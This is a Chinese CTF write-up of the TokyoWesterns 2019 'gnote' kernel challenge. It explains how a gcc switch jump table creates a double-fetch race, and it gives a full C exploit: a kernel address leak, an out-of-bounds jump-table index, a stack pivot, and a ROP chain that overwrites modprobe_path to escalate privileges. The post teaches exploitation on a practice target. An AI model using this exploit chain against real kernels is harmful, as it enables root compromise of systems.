前言
Toyko Western 2019 的一道 linux kernel 驱动题,从代码上看实在找不出什么漏洞点,但是到了汇编的层面就不同了
前置知识
gcc 编译 switch case
gcc 编译switch... case
代码的时
case 超过 5个的时候会变成jump table 的形式
我们可以写个代码测试一下,就像下面这样,写个 switch
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
int do_something(char *buf){
int ret=0;
switch(*(int *)buf){
case 1:
printf("case 1n");
break;
case 2:
printf("case 2n");
break;
case 3:
printf("case 3n");
break;
case 4:
printf("case 4n");
break;
/*case 5:*/
/*printf("case 5n");*/
/*break;*/
}
return ret;
}
int main(int argc,char **argv){
char *buf=malloc(0x100);
*(int *)buf = 0x1;
do_something(buf);
return 0;
}
我们先看 4 个case 的情况,
在 case 不超过 5 个的情况下,默认都会编译成 cmp ... je
的形式
cmp eax,0x3
je 690 <do_something+0x30>
case 超过 5 个的情况下,会生成一个 jump table 数组,根据每个 case索引数组跳到对应的逻辑里面
660: 83 3f 05 cmp DWORD PTR [rdi],0x5
663: 0f 87 8f 00 00 00 ja 6f8 <do_something+0x98>
676: 48 63 04 82 movsxd rax,DWORD PTR [rdx+rax*4]
67a: 48 01 d0 add rax,rdx
67d: ff e0 jmp rax
从上面可以看出 rdi 就是 传入的 char *buf
的地址,首先会把他和最大的 case比较,这里是 5, 超过则跳出去,没有就根据 jump table 来执行每个 case
从汇编代码可以看到,[rdi]
做了两次的检查
一次在cmp DWORD PTR [rdi],0x5
比较最大值
一次在 mov eax,DWORD PTR [rdi]
再一次取rdi 的值作为 jump table 的索引
本来这里没有什么问题,但是如果do_something(char *buf)
传入的指针 buf的内容可以被并发修改,那么就可能会出现问题
假如 cmp 之后 buf 的内容被改变了,那么 取到 eax 里面的就可能是其他的值,也就是我们说的 double fetch 了,于是就可以构造 jump table 的数组越界,最终可以利用jmp rax
jump any where
gnote 也是根据这个特点做的设计,我们接下来看看题目
题目分析
题目还直接给了c文件,只实现了 read/write 两个接口
write 函数
...
ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
unsigned int index;
mutex_lock(&lock);
/*
* 1. add note
* 2. edit note
* 3. delete note
* 4. copy note
* 5. select note
* No implementation :(
*/
switch(*(unsigned int *)buf){
.....
}
mutex_unlock(&lock);
return count;
}
write 接口实现了一个 switch...case
的逻辑,只实现了add
和select
的逻辑, 进入的的退出的时候会加锁
struct note {
unsigned long size;
char *contents;
};
unsigned long cnt;
unsigned long selected;
struct note notes[MAX_NOTE];
//...
case 1:
if(cnt >= MAX_NOTE){
break;
}
notes[cnt].size = *((unsigned int *)buf+1);
if(notes[cnt].size > 0x10000){
break;
}
notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);
cnt++;
break;
这里维护了一个全局的 notes 数组,总共有 8项,add 的时候传进来size,然后分配内存
case 5:
index = *((unsigned int *)buf+1);
if(cnt > index){
selected = index;
}
break
select 的时候需要选择不超过 cnt 大小的 index, 因为都是 unsigned 类型,没有溢出
这里的逻辑挺严谨的,找不到什么问题
有一点就是直接用了 用户态 传进来的 buf 指针,一般都需要用 copy_from_user
拷贝一份
但是这并没有什么用,buf里面并没有指针被用到,add和select 都只是读了一个unsigned int, 搞double fetch 并不会触发什么判断
但是这里的问题就像我们前面说的,gcc编译switch...case
得到的结果有一个类似double fetech的效果,只要 switch 的对象是可并发更改的就可以触发
gnote_write switch 比较的对象是*(usigned int*)buf
, 这个也就符合了条件
于是这里就可以利用这个问题来跳到任意的内核代码上执行
#!/bin/sh
cd /home/gnote
stty intr ^]
exec timeout 120 qemu-system-x86_64 -m 64M -kernel bzImage -initrd rootfs.cpio -append "loglevel=3 console=ttyS0 oops=panic panic=1 nokaslr" -nographic -net user -net nic -device e1000 -smp cores=2,threads=2 -cpu kvm64,+smep -monitor /dev/null 2>/dev/null
这里还关闭了smap,模块的起始地址一般都是在ffffffffc0000000
左右,于是我们可以让jump table 索引到用户态,在用户态部署好指针,然后就可以劫持控制流了
read 函数
在利用之前还需要知道内核的地址,题目很贴心的给了一个read 函数,因为 kmalloc 没有把内存清0, 于是可以泄露出内核的地址
ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
mutex_lock(&lock);
if(selected == -1){
mutex_unlock(&lock);
return 0;
}
if(count > notes[selected].size){
count = notes[selected].size;
}
copy_to_user(buf, notes[selected].contents, count);
selected = -1;
mutex_unlock(&lock);
return count;
}
漏洞利用
到了这里,有了内核地址,没有smap,可以执行一个gadget,要利用已经不难了
主要是找到gcc 的这个double fetch的问题比较难,看到有c源码就不会看汇编了( x x)
基本的利用思路
- 1 计算一下从jump table 索引到用户态的index
- 2 在用户态对应地址mmap大量的内存,写好gadget的地址(绕过模块的 kaslr)
- gadget 这里用了
xchg eax, esp
把stack 劫持到用户态
- gadget 这里用了
- 3 rop 搞事情
但是这里我 rop 执行 commit_creds(prepare_kernel_cred(0))
的时候不知道为什么,虽然可以成功执行,但是system("/bin/sh")
的时候起的却不是 root shell, 太菜了想不出为什么,有知道的大佬麻烦告诉我一声
这里我rop 改了modprobe_path
来执行命令的,可以参考这篇文章
我直接把 flag chmod
到 777 就可以直接读了
rop chains 类似下面,用 memcpy 把用户态的字符拷贝到modprobe_path
处,因为没有 smap,所以是没有问题的
rop_base[i++]=prdi;
rop_base[i++]= modprobe_path;
rop_base[i++]=prsi;
rop_base[i++]=(u64)(ropchain+0x1000);
rop_base[i++]=prdx;
rop_base[i++]=0x10;
rop_base[i++]=memcpy_addr;
rop_base[i++]= swapgs;
rop_base[i++]= tty_base;
rop_base[i++]= iretq;
rop_base[i++]= (u64)something;
rop_base[i++]= user_cs;
rop_base[i++]= user_rflags;
rop_base[i++]= user_sp;
rop_base[i++]= user_ss;
符号里面没有 modprobe_path
的地址,可以通过一些函数的引用来找
就像下面这样 找 __request_module
gdb 稍微看一下代码就可以找到
exp
完整exp 如下
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/mman.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
typedef uint32_t u32;
typedef int32_t s32;
typedef uint64_t u64;
typedef int64_t s64;
size_t user_cs, user_ss, user_rflags, user_sp, user_gs, user_es, user_fs, user_ds;
void logs(char *tag,char *buf){
printf("[ s]: ");
printf(" %s ",tag);
printf(": %sn",buf);
}
void logx(char *tag,uint32_t num){
printf("[ x] ");
printf(" %-20s ",tag);
printf(": %-#8xn",num);
}
void loglx(char *tag,uint64_t num){
printf("[lx] ");
printf(" %-20s ",tag);
printf(": %-#16lxn",num);
}
void bp(char *tag){
printf("[bp] : %sn",tag);
getchar();
}
void save_status(){
__asm__("mov %%cs, %0n"
"mov %%ss,%1n"
"mov %%rsp,%2n"
"pushfqn"
"pop %3n"
"mov %%gs,%4n"
"mov %%es,%5n"
"mov %%fs,%6n"
"mov %%ds,%7n"
::"m"(user_cs),"m"(user_ss),"m"(user_sp),"m"(user_rflags),
"m"(user_gs),"m"(user_es),"m"(user_fs),"m"(user_ds)
);
logs("status saved !!","");
}
void x64dump(char *buf,uint32_t num){
uint64_t *buf64 = (uint64_t *)buf;
printf("[-x64dump-] start : n");
for(int i=0;i<num;i++){
if(i%2==0 && i!=0){
printf("n");
}
printf("0x%016lx ",*(buf64+i));
}
printf("n[-x64dump-] end ... n");
}
void something(){
exit(0);
}
void init(){
save_status();
signal(SIGSEGV,something);
}
struct in_args{
u32 cmd;
u32 size;
};
void add(int fd,u32 size){
struct in_args rw;
rw.cmd =1;
rw.size=size;
write(fd,(char *)&rw,0);
}
void sel(int fd,u32 index){
struct in_args rw;
rw.cmd =5;
rw.size=index;
write(fd,(char *)&rw,0);
}
struct in_args g_rw;
void *race_cmd(void *args){
while(1){
g_rw.cmd =0x9000000;
}
}
void gen_test(){
system("echo -ne '#!/bin/shn/bin/chmod 777 /flagn' > /tmp/chmod");
system("chmod +x /tmp/chmod");
system("echo -ne '\xff\xff\xff\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
}
int main(int argc,char **argv){
init();
int fd = open("/proc/gnote",O_RDWR);
logx("fd",fd);
char *buf = malloc(0x1000);
u64 *buf64 = (u64 *)buf;
// leak
int ptmx_fd = open("/dev/ptmx",O_RDWR|O_NOCTTY);
close(ptmx_fd);
add(fd,0x270);
sel(fd,0);
read(fd,buf,0x270);
x64dump(buf,0x8);
u64 kaslr=0;
if((buf64[3]&0xfff)==0x360){
kaslr = buf64[3] - 0xffffffff81a35360;
}else if((buf64[3]&0xfff) == 0x260){
kaslr = buf64[3] - 0xffffffff81a35260;
}
loglx("kaslr",kaslr);
u64 tty_base = buf64[7]&0xffffffffffffff00;
u64 xchg_eax_esp = 0xffffffff8125b83b + kaslr;
u64 mmap_base =xchg_eax_esp&0xfffff000;
u64 *rop_base = (void *)(xchg_eax_esp&0xffffffff);
char *ropchain = mmap((void *)mmap_base,0x2000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
char *xchg_gadget_addr = mmap((void *)0x8000000,0x1000000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
u64 *addr64 = (u64 *)xchg_gadget_addr;
for(int i=0;i<0x1000000/8;i++){
addr64[i] = xchg_eax_esp;
}
loglx("xchg base",(u64)xchg_eax_esp);
loglx("mmap ropchains",(u64)ropchain);
loglx("mmap addr",(u64)xchg_gadget_addr);
u64 memcpy_addr = 0xffffffff8158a100 +kaslr;
u64 modprobe_path = 0xffffffff81c2c540 + kaslr;
u64 prdi = 0xffffffff8101c20d + kaslr;
u64 prsi = 0xffffffff81037799 + kaslr;
u64 prdx = 0xffffffff810dd812 + kaslr;
u64 swapgs = 0xffffffff8103efc4 + kaslr;
u64 iretq = 0xffffffff8101dd06 + kaslr;
//gen fake file to trigger modprobe_path
memcpy(ropchain+0x1000,"/tmp/chmod",10);
gen_test();
int i=0;
rop_base[i++]=prdi;
rop_base[i++]= modprobe_path;
rop_base[i++]=prsi;
rop_base[i++]=(u64)(ropchain+0x1000);
rop_base[i++]=prdx;
rop_base[i++]=0x10;
rop_base[i++]=memcpy_addr;
rop_base[i++]= swapgs;
rop_base[i++]= tty_base;
rop_base[i++]= iretq;
rop_base[i++]= (u64)something;
rop_base[i++]= user_cs;
rop_base[i++]= user_rflags;
rop_base[i++]= user_sp;
rop_base[i++]= user_ss;
// race to rop
pthread_t tid;
pthread_create(&tid,NULL,race_cmd,NULL);
g_rw.size=0x0;
g_rw.cmd =0;
while(1){
g_rw.cmd=0;
write(fd,(char *)&g_rw,0);
}
bp("wait");
return 0;
}
运行效果如下
发表评论
您还未登录,请先登录。
登录